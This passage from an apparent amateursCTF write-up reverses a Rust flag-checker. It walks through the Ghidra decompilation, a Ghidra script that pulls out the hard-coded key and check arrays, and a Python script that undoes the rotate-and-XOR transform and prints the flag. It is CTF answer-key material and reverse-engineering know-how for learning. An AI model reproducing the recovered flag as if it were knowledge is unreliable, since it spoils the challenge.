operator\">=</span> puVar2<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> key<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n      local_18 <span class=\"token operator\">=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n      local_c7 <span class=\"token operator\">=</span> local_19 <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span> <span class=\"token operator\">|</span> local_19 <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">;</span>\n      local_11 <span class=\"token operator\">=</span> local_c7<span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0x25</span> <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n        core<span class=\"token operator\">::</span>panicking<span class=\"token operator\">::</span><span class=\"token function\">panic_bounds_check</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">,</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>DAT_5555555a6068<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      result<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> local_c7<span class=\"token punctuation\">;</span>\n      uVar1 <span class=\"token operator\">=</span> i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0xfffffffffffffffe</span> <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n        core<span class=\"token operator\">::</span>panicking<span class=\"token operator\">::</span><span class=\"token function\">panic</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"attempt to add with overflowCorrect!\\n\"</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x1c</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>DAT_5555555a6080<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x19</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xeb</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xd8</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x56</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x33</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x50</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x35</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x61</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xdc</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x96</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x6f</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xb5</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">13</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">14</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xa4</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">15</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x7a</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">16</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x55</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">17</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xe8</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">18</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xfe</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x56</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">20</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x97</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xde</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">22</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x9d</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">23</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xaf</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">24</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xd4</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">25</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x47</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">26</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xaf</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">27</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xc1</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">28</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xc2</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">29</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x6a</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">30</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x5a</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">31</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xac</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">32</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xb1</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">33</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xa2</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">34</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x8a</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">35</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x59</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">36</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x52</span><span class=\"token punctuation\">;</span>\n    check<span class=\"token punctuation\">[</span><span class=\"token number\">37</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xe2</span><span class=\"token punctuation\">;</span>\n    i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    uVar1 <span class=\"token operator\">=</span> i<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span><span class=\"token punctuation\">(</span> true <span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      i <span class=\"token operator\">=</span> uVar1<span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0x25</span> <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        core<span class=\"token operator\">::</span>fmt<span class=\"token operator\">::</span>Arguments<span class=\"token operator\">::</span><span class=\"token function\">new_const</span>\n                  <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_70<span class=\"token punctuation\">,</span>\n                   <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span><span class=\"token punctuation\">[</span><span class=\"token operator\">&amp;</span>str<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token function\">CONCAT115</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">,</span><span class=\"token function\">CONCAT78</span><span class=\"token punctuation\">(</span>in_stack_fffffffffffffdd0<span class=\"token punctuation\">,</span>in_stack_fffffffffffffdc8\n                                                <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token comment\">/* } // end try from 0010933e to 001095c0 */</span>\n        std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>stdio<span class=\"token operator\">::</span><span class=\"token function\">_print</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_70<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        core<span class=\"token operator\">::</span>ptr<span class=\"token operator\">::</span>drop_in_place<span class=\"token operator\">&lt;</span>alloc<span class=\"token operator\">::</span>string<span class=\"token operator\">::</span>String<span class=\"token operator\">></span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_180<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0x25</span> <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n        core<span class=\"token operator\">::</span>panicking<span class=\"token operator\">::</span><span class=\"token function\">panic_bounds_check</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">,</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>DAT_5555555a6098<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      r <span class=\"token operator\">=</span> result<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0x25</span> <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n        core<span class=\"token operator\">::</span>panicking<span class=\"token operator\">::</span><span class=\"token function\">panic_bounds_check</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">,</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>DAT_5555555a60b0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>r <span class=\"token operator\">!=</span> check<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n      in_stack_fffffffffffffdc8 <span class=\"token operator\">=</span> i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n      uVar1 <span class=\"token operator\">=</span> in_stack_fffffffffffffdc8<span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0xfffffffffffffffe</span> <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n        core<span class=\"token operator\">::</span>panicking<span class=\"token operator\">::</span><span class=\"token function\">panic</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"attempt to add with overflowCorrect!\\n\"</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x1c</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>DAT_5555555a60c8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    core<span class=\"token operator\">::</span>fmt<span class=\"token operator\">::</span>Arguments<span class=\"token operator\">::</span><span class=\"token function\">new_const</span>\n              <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_a0<span class=\"token punctuation\">,</span>\n               <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span><span class=\"token punctuation\">[</span><span class=\"token operator\">&amp;</span>str<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token function\">CONCAT115</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">,</span><span class=\"token function\">CONCAT78</span><span class=\"token punctuation\">(</span>in_stack_fffffffffffffdd0<span class=\"token punctuation\">,</span>in_stack_fffffffffffffdc8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>stdio<span class=\"token operator\">::</span><span class=\"token function\">_print</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_a0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* try { // try from 00109163 to 0010918e has its CatchHandler @ 00108f43 */</span>\n    core<span class=\"token operator\">::</span>fmt<span class=\"token operator\">::</span>Arguments<span class=\"token operator\">::</span><span class=\"token function\">new_const</span>\n              <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_150<span class=\"token punctuation\">,</span>\n               <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span><span class=\"token punctuation\">[</span><span class=\"token operator\">&amp;</span>str<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token function\">CONCAT115</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">,</span><span class=\"token function\">CONCAT78</span><span class=\"token punctuation\">(</span>in_stack_fffffffffffffdd0<span class=\"token punctuation\">,</span>in_stack_fffffffffffffdc8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token comment\">/* } // end try from 00109163 to 0010918e */</span>\n    std<span class=\"token operator\">::</span>io<span class=\"token operator\">::</span>stdio<span class=\"token operator\">::</span><span class=\"token function\">_print</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_150<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  core<span class=\"token operator\">::</span>ptr<span class=\"token operator\">::</span>drop_in_place<span class=\"token operator\">&lt;</span>alloc<span class=\"token operator\">::</span>string<span class=\"token operator\">::</span>String<span class=\"token operator\">></span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_180<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>You can see that it accepts an input of 0x26 characters, transforms it with a hard-coded Key, and then compares the result with a likewise hard-coded Check array.</p>\n<p>For the arrays hard-coded in the binary, I collected them all at once with the following Ghidra script.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">addr <span class=\"token operator\">=</span> toAddr<span class=\"token punctuation\">(</span><span class=\"token number\">0x109011</span><span class=\"token punctuation\">)</span>\ninst <span class=\"token operator\">=</span> getInstructionAt<span class=\"token punctuation\">(</span>addr<span class=\"token punctuation\">)</span>\nresult <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    result<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span>inst<span class=\"token punctuation\">.</span>getDefaultOperandRepresentation<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    inst <span class=\"token operator\">=</span> inst<span class=\"token punctuation\">.</span>getNext<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># [u'0x27', u'0x97', u'0x57', u'0xe1', u'0xa9', u'0x75', u'0x66', u'0x3e', u'0x1b', u'0x63', u'0xe3', u'0xa0', u'0x5', u'0x73', u'0x59', u'0xfb', u'0xa', u'0x43', u'0x8f', u'0xe0', u'0xba', u'0xc0', u'0x54', u'0x99', u'0x6', u'0xbf', u'0x9f', u'0x2f', u'0xc4', u'0xaa', u'0xa6', u'0x74', u'0x1e', u'0xdd', u'0x97', u'0x22', u'0xed', u'0xc5']</span>\n\naddr <span class=\"token operator\">=</span> toAddr<span class=\"token punctuation\">(</span><span class=\"token number\">0x1091b4</span><span class=\"token punctuation\">)</span>\ninst <span class=\"token operator\">=</span> getInstructionAt<span class=\"token punctuation\">(</span>addr<span class=\"token punctuation\">)</span>\nresult <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    result<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span>inst<span class=\"token punctuation\">.</span>getDefaultOperandRepresentation<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    inst <span class=\"token operator\">=</span> inst<span class=\"token punctuation\">.</span>getNext<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># [u'0x19', u'0xeb', u'0xd8', u'0x56', u'0x33', u'0x0', u'0x50', u'0x35', u'0x61', u'0xdc', u'0x96', u'0x6f', u'0xb5', u'0xd', u'0xa4', u'0x7a', u'0x55', u'0xe8', u'0xfe', u'0x56', u'0x97', u'0xde', u'0x9d', u'0xaf', u'0xd4', u'0x47', u'0xaf', u'0xc1', u'0xc2', u'0x6a', u'0x5a', u'0xac', u'0xb1', u'0xa2', u'0x8a', u'0x59', u'0x52', u'0xe2']</span></code></pre></div>\n<p>As for the transformation, it was only a matter of rotating the input bits and XORing with the Key, so I could recover the flag with the following Python script.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">key <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token string\">u'0x27'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x97'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x57'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xe1'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xa9'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x75'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x66'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x3e'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x1b'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x63'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xe3'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xa0'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x5'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x73'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x59'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xfb'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xa'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x43'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x8f'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xe0'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xba'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xc0'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x54'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x99'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x6'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xbf'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x9f'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x2f'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xc4'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xaa'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xa6'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x74'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x1e'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xdd'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x97'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x22'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xed'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xc5'</span><span class=\"token punctuation\">]</span>\nres <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token string\">u'0x19'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xeb'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xd8'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x56'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x33'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x0'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x50'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x35'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x61'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xdc'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x96'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x6f'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xb5'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xd'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xa4'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x7a'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x55'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xe8'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xfe'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x56'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x97'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xde'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x9d'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xaf'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xd4'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x47'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xaf'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xc1'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xc2'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x6a'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x5a'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xac'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xb1'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xa2'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x8a'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x59'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0x52'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">u'0xe2'</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    r <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>res<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n    r <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r <span class=\"token operator\">>></span> <span class=\"token number\">2</span> <span class=\"token operator\">|</span> r <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xff</span>\n    k <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>r<span class=\"token operator\">^</span>k<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># amateursCTF{h0pe_y0u_w3r3nt_t00_ru5ty}</span></code></pre></div>\n<h2 id=\"volcanorev\" style=\"position:relative;\"><a href=\"#volcanorev\" aria-label=\"volcanorev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>volcano(Rev)</h2>\n<blockquote>\n<p>Inspired by recent “traumatic” events.</p>\n<p>nc amt.rs 